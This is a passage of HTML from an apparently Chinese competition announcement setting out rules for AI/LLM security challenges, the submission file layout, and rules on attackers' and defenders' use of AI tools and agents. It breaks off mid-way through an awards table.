1px;color: rgb(63, 63, 63);">题目建议以 Docker 或其他可复现形式提交。若使用本地模型、模拟模型服务、向量数据库、知识库或工具调用环境，应一并提供完整部署方法和依赖说明。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5521ys" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.3 可复现与判题要求</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551fi8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目必须保证结果稳定、环境可复现。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551fui" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方应提供完整部署环境、必要数据、配置文件、判题逻辑和测试样例，确保题目在赛期内可以稳定运行和验证。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55vja" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若题目涉及模型输出，应尽量通过固定环境、固定参数、固定提示词、固定上下文、固定随机种子或 mock 服务等方式降低不确定性。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551p3n" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目不得仅依赖模型随机输出或主观判断作为判题依据。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551gyh" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.4 外部服务与安全限制</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551bn4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目原则上不得依赖不可控的外部在线 AI 服务作为核心判题逻辑。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551ej1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">确需使用外部模型或在线服务的，须提前向组委会说明，并经审核通过。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551e2s" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目应在隔离环境中运行，不得要求攻击真实第三方 AI 服务、绕过真实平台安全策略、窃取真实用户数据或生成现实恶意内容。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551244" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目中使用的文档、知识库、训练数据、日志、对话记录等内容不得包含真实个人隐私、真实账号凭证、真实商业秘密或未经授权的数据。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551btj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目应控制请求频率、上下文长度和资源消耗，避免攻击方通过高频调用、爆破或自动化 Agent 对平台造成过大压力。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551k7b" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.5 提交格式</span></span></span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b5524vu"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Readme.md</span><span class="code-snippet__comment">--------------|题目描述文档</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Writeup.md</span><span class="code-snippet__comment">-------------|writeup</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─</span><span class="code-snippet__built_in">exp</span><span class="code-snippet__comment">--------------------|解题关键脚本或说明</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─attachments</span><span class="code-snippet__comment">------------|提供给选手分析使用的题目文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─deploy</span><span class="code-snippet__comment">-----------------|题目部署脚本</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  └─docker_for_ai</span><span class="code-snippet__comment">--------|AI题示例</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │  Dockerfile</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │  run.sh</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     ├─app</span><span class="code-snippet__comment">--------------|题目服务代码</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     ├─data</span><span class="code-snippet__comment">-------------|知识库、测试数据或题目数据</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     └─</span><span class="code-snippet__built_in">config</span><span class="code-snippet__comment">-----------|固定参数、提示词、策略配置等</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">└─files</span><span class="code-snippet__comment">------------------|writeup包含的图片等文件</span></span></code></pre></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551u12" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如题目使用本地模型、mock 模型服务或固定输出服务，应在 Readme.md 中说明运行方式，并提供必要文件和测试方法。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55161u" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.6 奖项和积分说明</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551wnu" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目参与攻击方积分、难度值积分和火力值积分。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55254e" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目是否参与精致奖评定，由组委会根据题目形态、文件规模、核心逻辑和评审情况另行判定。</span></span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">六、AI 工具使用规则</span></b></p></div></div></div></div><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551fvn" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.1 AI 使用总原则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551g70" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">本届比赛允许防守方和攻击方使用 AI 工具辅助出题、审计、分析、解题、脚本编写和 writeup 整理。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55r9p" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 工具仅作为辅助工具，使用方对 AI 生成或辅助生成的内容承担全部责任。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551go7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用 AI 不降低题目的原创性、安全性、稳定性、可复现性和可审计性要求，也不改变攻击方积分计算方式。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b558uh" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.2 防守方使用 AI 的要求</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551hxy" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方可以使用 AI 工具辅助以下工作：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55ege" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目创意设计；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55233j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">代码生成或代码优化；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ezi" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">混淆逻辑设计；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55uts" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题面文案编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55ujp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Readme 编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551f16" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Writeup 编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5520h2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">EXP 或攻击脚本编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551umt" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">非预期解检查；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551h5l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">安全性检查；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55tc2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">部署脚本编写。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551doz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">但 AI 只能作为辅助工具。防守方对最终提交题目的原创性、安全性、稳定性、可解性、可审计性和合规性承担全部责任。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5526j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用 AI 生成或辅助生成的代码，视同防守方自行编写代码，必须满足源码审计、恶意行为排查、环境复现和赛后公开要求。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55kqv" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">组委会有权要求防守方补充说明相关代码来源、生成方式和人工审核情况。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55zt" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.3 攻击方使用 AI 的要求</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5554k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方可以使用 AI 工具辅助解题，包括但不限于：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55111t" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">逆向分析；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551fx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">代码审计；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b553jf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">漏洞分析；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55fvw" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">EXP 编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b557v6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">脚本编写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55u4x" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Crypto 分析；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551lc5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">WEB 漏洞分析；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551drx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">PWN 思路辅助；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551d5k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目理解；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55wsr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Writeup 整理；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551g8x" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">自动化分析辅助。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5521dk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方是否使用 AI，不影响攻击方积分计算。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55pol" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方成绩仍以提交正确 flag、注册码、序列号或其他有效解题结果的时间为准。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55reu" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.4 AI Agent 和自动化工具限制</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551nmr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">允许使用 AI Agent 或自动化脚本辅助分析，但不得对比赛平台、靶机或判题系统进行高频、无节制、破坏性或超出题目范围的自动化请求。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55gs9" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">组委会可根据流量、日志、请求频率和实际影响判定是否违规。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551pp2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用 AI 工具不得突破原有比赛边界。凡通过 AI 实施或辅助实施攻击比赛平台、破坏靶机环境、批量爆破、越权访问、泄露 flag、共享答案、攻击非题目目标等行为，均按违规处理。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551o9o" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.5 AI 使用披露和审计</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55zc1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方使用 AI 辅助出题的，应在提交材料中说明 AI 使用情况，包括 AI 参与环节、是否进行人工审核、是否包含 AI 生成代码或第三方内容等。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551uzp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">不强制防守方公开完整 prompt 或完整 AI 对话记录，但组委会在审核需要时，可以要求防守方补充说明。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55b1q" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方通过 AI 工具获得的分析结果、脚本、payload 或答案，由攻击方自行负责。若 AI 输出内容涉及违规攻击、答案泄露、他人 writeup、非授权资料或其他违规来源，攻击方不得以“AI 生成”为由免责。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55h7q" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.6 AI 相关禁止行为</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b558f4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛队伍不得利用 AI 工具获取、整理、传播或使用非公开题目、flag、writeup、源码、评审资料、其他队伍解题材料等信息。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55s14" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">无论相关信息是否由 AI 工具生成、总结或提供，一经确认均按违规处理。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5520h6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">禁止利用 AI 工具实施以下行为：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551xps" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击比赛平台；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55185r" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">破坏比赛环境；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55qfp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">绕过平台权限；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551xre" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">批量爆破；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55149g" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击非题目目标；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55squ" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">泄露他人信息；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55kq5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">共享答案；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5515c7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">获取或传播非公开 flag、writeup、源码、评审资料；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55252k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用泄露渠道获得答案；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5515i5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">其他违反比赛公平性和安全边界的行为。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b557j1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.7 AI 相关泄露责任</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551igo" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">因使用 AI 工具导致题目、flag、源码、攻击脚本、账号凭证、评审资料或其他比赛敏感信息泄露的，由使用方自行承担责任。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551ygg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">造成比赛公平性影响的，组委会有权取消参赛资格、取消题目资格、调整成绩或作出其他处理。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551iw0" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">6.8 组委会解释权</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551urc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 工具、AI Agent、AI Security / LLM Security 题型及相关技术发展较快。对于规则未覆盖的新情况，组委会有权根据比赛公平性、安全性、可复现性和比赛精神作出解释和处理。</span></span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">七、奖项&amp;奖品</span></b></p></div></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55i5l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">本次比赛设置3类奖项：</span></span></p><div><div><div><p><table style="width:448px;"><tbody><tr><td data-colwidth="161"><p><span leaf="" mpa-font-style="mp2bc2422231" style="font-size: 15px;" data-mpa-action-id="mp2bc24j180f" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">奖项</span></span></p></td><td data-colwidth="287"><p><span leaf="" mpa-font-style="mp2bbzno2uh" style="font-size: 15px;" data-mpa-action-id="mp2bbzo61dbp" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">说明</span></span></p></td></tr><tr><td data-colwidth="161"><p><span leaf="" mpa-font-style="mp270b55jer" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">最佳坦克奖</span></span></p></td><td data-colwidth="287"><p><span leaf="" mpa-font-style="mp270b55jer" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">最能抗的</span></span></p></td></tr><tr><td data-colwidth="161"><p><span leaf="" mpa-font-style="mp270b5514uj" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">火力焦点奖</span></span></p></td><td data-colwidth="287"><p><span leaf="" mpa-font-style="mp270b5514uj" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">实际吸收伤害最多的</span></span></p></td></tr><tr><td data-colwidth="161"><p><span leaf="" mpa-font-style="mp270b55w9v" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span 